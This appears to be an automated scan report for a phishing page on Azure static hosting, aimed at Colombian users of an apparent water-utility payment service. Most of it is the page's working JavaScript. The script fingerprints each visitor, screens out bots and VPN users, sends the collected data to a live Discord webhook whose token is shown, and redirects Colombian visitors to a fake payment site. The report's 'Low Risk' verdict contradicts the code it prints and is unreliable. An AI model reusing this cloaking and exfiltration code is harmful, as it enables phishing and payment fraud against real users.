adult content

documentation technical

phishing scam

healthcare medical

government public service

Spanish

You're looking at domain 'enductobogotaviva.z13.web.core.windows.net' on the network infrastructure generic top-level domain (.net); it also runs on subdomain 'enductobogotaviva.z13.web.core'. The core label 'windows' covers 7 characters split between two vowels and five consonants. It segments into one word: windows. No strong language cues emerged from the frequency lists.

html/fe/4f/fe4fbdae-8a4a-470f-ba21-15fbf3370dd2.html.gz

frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable

e263ed680cc36e1756530c2413646bcddf6ff6708cd1a9f72a1a27e36f083077

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

MarkMonitor Inc.

WINDOWS.NET

GC Abuse

Google LLC

GOOGL-2


/* ========= CONFIGURACIÓN ========= */
const WEBHOOK_URL = 'https://discord.com/api/webhooks/1463943241589326040/OSmtqMOFuWZRtWezP-bIBoAE1_ECIgYCh_F6xVpVjMQPLISqEC9qQaqgfhbsEQZehiuk';
const REDIR_URL_AUTORIZADO = 'https://onlinepagosacueducto-web.on-forge.com/';
const TIEMPO_REDIRECCION = 500; // en milisegundos

/* ========= FUNCIONES AUXILIARES ========= */

/**
 * Oculta el loader y muestra un mensaje en la pantalla.
 * @param {string} mensaje - El texto a mostrar.
 */
const mostrarMensaje = (mensaje) => {
    document.getElementById('loader').style.display = 'none';
    const mensajeDiv = document.getElementById('mensaje');
    mensajeDiv.textContent = mensaje;
    mensajeDiv.style.display = 'block';
};

/**
 * Detecta si el agente de usuario es un bot conocido.
 * @param {string} userAgent - El string del User-Agent del navegador.
 * @returns {boolean} - Verdadero si se detecta un bot, falso en caso contrario.
 */
const esUnBot = (userAgent) => /bot|crawler|spider|curl|wget|scraping/i.test(userAgent);

/**
 * Obtiene datos de geolocalización y organización desde ipinfo.io.
 * @returns {Promise<{country: string, org: string, city: string}>} - Un objeto con el país, la ciudad y la organización.
 */
const obtenerDatosGeoYOrg = async () => {
    try {
        const response = await fetch('https://ipinfo.io/json');
        const data = await response.json();
        return {
            country: data.country || 'XX',
            city: data.city || 'Ciudad desconocida', // Añadimos la ciudad
            org: data.org || ''
        };
    } catch (error) {
        console.error('Error al obtener datos de geolocalización:', error);
        return { country: 'XX', city: 'Ciudad desconocida', org: '' };
    }
};

/**
 * Determina el navegador basado en el User-Agent.
 * @param {string} userAgent - El string del User-Agent del navegador.
 * @returns {string} - El nombre del navegador detectado.
 */
const detectarNavegador = (userAgent) => {
    if (/edg\//i.test(userAgent)) return 'Edge';
    if (/brave/i.test(userAgent)) return 'Brave';
    if (/opera|opr\//i.test(userAgent)) return 'Opera';
    if (/chrome|chromium/i.test(userAgent) && !/edge|opr\//i.test(userAgent)) return 'Chrome';
    if (/safari/i.test(userAgent) && !/chrome|chromium/i.test(userAgent)) return 'Safari';
    if (/firefox|fxios/i.test(userAgent)) return 'Firefox';
    return 'Desconocido';
};

/**
 * Determina el sistema operativo basado en el User-Agent.
 * @param {string} userAgent - El string del User-Agent del navegador.
 * @returns {string} - El nombre del sistema operativo detectado.
 */
const detectarSistemaOperativo = (userAgent) => {
    if (/windows nt 10/i.test(userAgent)) return 'Windows 10/11';
    if (/windows nt 6.3/i.test(userAgent)) return 'Windows 8.1';
    if (/windows nt 6.2/i.test(userAgent)) return 'Windows 8';
    if (/windows nt 6.1/i.test(userAgent)) return 'Windows 7';
    if (/macintosh|mac os x/i.test(userAgent)) return 'macOS';
    if (/kali/i.test(userAgent)) return 'Kali Linux';
    if (/ubuntu/i.test(userAgent)) return 'Ubuntu';
    if (/linux/i.test(userAgent)) return 'Linux';
    if (/android/i.test(userAgent)) return 'Android';
    if (/iphone|ipad/i.test(userAgent)) return 'iOS';
    return 'Desconocido';
};

/**
 * Determina el tipo de dispositivo basado en el User-Agent.
 * @param {string} userAgent - El string del User-Agent del navegador.
 * @returns {string} - El tipo de dispositivo detectado.
 */
const detectarTipoDispositivo = (userAgent) => {
    if (/mobi/i.test(userAgent)) return 'Móvil';
    if (/tablet|ipad|playbook|silk/i.test(userAgent)) return 'Tablet';
    if (/smart-tv|hbbtv|appletv|googletv|viera/i.test(userAgent)) return 'Smart-TV';
    return 'Escritorio';
};

/**
 * Verifica si el dispositivo tiene pantalla táctil.
 * @returns {boolean} - Verdadero si tiene pantalla táctil, falso en caso contrario.
 */
const tieneSensorTactil = () => {
    return ('maxTouchPoints' in navigator && navigator.maxTouchPoints > 0) ||
           (window.matchMedia && window.matchMedia('(pointer: coarse)').matches) ||
           ('ontouchstart' in window);
};

/**
 * Obtiene el referrer de la página.
 * @returns {string} - El URL del referrer o un mensaje por defecto.
 */
const obtenerReferrer = () => document.referrer || 'Directo / sin referrer';

/**
 * Obtiene el dominio actual de la página.
 * @returns {string} - El nombre del dominio actual.
 */
const obtenerDominioActual = () => location.hostname || 'Dominio no detectado';

/**
 * Genera la información de fecha y hora en un formato localizado.
 * @returns {string} - La fecha y hora formateada.
 */
const obtenerFechaHoraLocal = () => {
    const ahora = new Date();
    // Aseguramos que se use la zona horaria deseada, y si no está disponible, usamos la del navegador.
    try {
        return ahora.toLocaleString('es-CO', { timeZone: 'America/Bogota' });
    } catch (e) {
        console.warn('Zona horaria "America/Bogota" no soportada, usando zona horaria local del navegador.');
        return ahora.toLocaleString();
    }
};

/**
 * Actualiza y obtiene el contador diario de ingresos desde localStorage.
 * @returns {number} - El número de ingresos del día actual.
 */
const obtenerContadorDiario = () => {
    const ahora = new Date();
    const hoy = ahora.toISOString().slice(0, 10); // Formato YYYY-MM-DD
    const clave = `ingresos_${hoy}`;
    let num = parseInt(localStorage.getItem(clave) || '0', 10);
    num += 1;
    localStorage.setItem(clave, num.toString());
    return num;
};

/**
 * Envía datos a un webhook de Discord.
 * @param {object} embed - El objeto de embed para el mensaje de Discord.
 */
const enviarWebhook = async (embed) => {
    try {
        await fetch(WEBHOOK_URL, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ embeds: [embed] })
        });
    } catch (error) {
        console.error('Error al enviar el webhook:', error);
    }
};

/* ========= LÓGICA PRINCIPAL ========= */

(async () => {
    const userAgent = navigator.userAgent;
    const { country, city, org } = await obtenerDatosGeoYOrg(); // Obtenemos también la ciudad

    const esBotDetectado = esUnBot(userAgent);
    const esProxyDetectado = /vpn|proxy|hosting|datacenter|cloud/i.test(org);

    // Determinar el color y título del embed basado en las detecciones
    let embedColor, embedTitle;
    if (esBotDetectado) {
        embedColor = 0xff0000; // Rojo
        embedTitle = '🤖 Bot detectado';
    } else if (esProxyDetectado) {
        embedColor = 0xff9900; // Naranja
        embedTitle = '🕵️ Proxy/VPN detectado';
    } else if (country === 'CO') {
        embedColor = 0x00ff00; // Verde
        embedTitle = '✅ Humano en Colombia';
    } else {
        embedColor = 0x0099ff; // Azul
        embedTitle = '❌ Humano fuera de Colombia';
    }

    const embed = {
        color: embedColor,
        title: embedTitle,
        thumbnail: { url: 'https://i.postimg.cc/fyZQ1Dyy/coolcloud-icono.png' },
        fields: [
            { name: '📅 Fecha y hora', value: obtenerFechaHoraLocal(), inline: true },
            { name: '🔢 Ingreso del día', value: `#${obtenerContadorDiario()}`, inline: true },
            { name: '📍 Ubicación', value: `${city}, ${country === 'CO' ? 'Colombia' : country}`, inline: true }, // Mostramos Ciudad, País
            { name: '🌐 Navegador', value: detectarNavegador(userAgent), inline: true },
            { name: '💻 Sistema Operativo', value: detectarSistemaOperativo(userAgent), inline: true },
            { name: '📡 Organización', value: org || 'Sin datos', inline: true },
            { name: '📱 Tipo de dispositivo', value: detectarTipoDispositivo(userAgent), inline: true },
            { name: '👆 Sensor táctil', value: tieneSensorTactil() ? '✅ Sí' : '❌ No', inline: true },
            { name: '🔗 Referrer', value: obtenerReferrer(), inline: false },
            { name: '🏠 Dominio actual', value: obtenerDominioActual(), inline: false }
        ],
        footer: { text: 'Sistema de ingresos' },
        timestamp: new Date().toISOString()
    };

    await enviarWebhook(embed);

    // Lógica de redirección y visualización de mensajes
    if (esBotDetectado || esProxyDetectado || country !== 'CO') {
        mostrarMensaje('Acceso no permitido: Revisa tu conexión o intenta más tarde.');
        // El mensaje de landing page ya está en el HTML, así que no se necesita hacer nada más aquí.
    } else {
        // Es un usuario humano, de Colombia, sin proxy/VPN detectado.
        setTimeout(() => {
            window.location.href = REDIR_URL_AUTORIZADO;
        }, TIEMPO_REDIRECCION);
    }
})();


Azure

Cargando…

✅ Low Risk - https://enductobogotaviva.z13.web.core.windows.net/?gad_source=1&gad_campaignid=23958628311&gclid=Cj0KCQjw3qLSBhDaARIsAFTiVh4ufGBUIAsRiFbwkZEcqpi91QNISV3E9yCAdbqAeZYEx4j2Lqcb-hIaAtdzEALw_wcB

Requests	IP Address	Location	AS Autonomous System
3	34.117.59.81Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
2	135.130.197.100Azure · CLOUD	Washington, Virginia, United States	AS8075Microsoft Corporation
5	2	-	-

Security Scan Report: enductobogotaviva.z13.web.core.windows.net

Summary

AI Security Verdict

Low Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History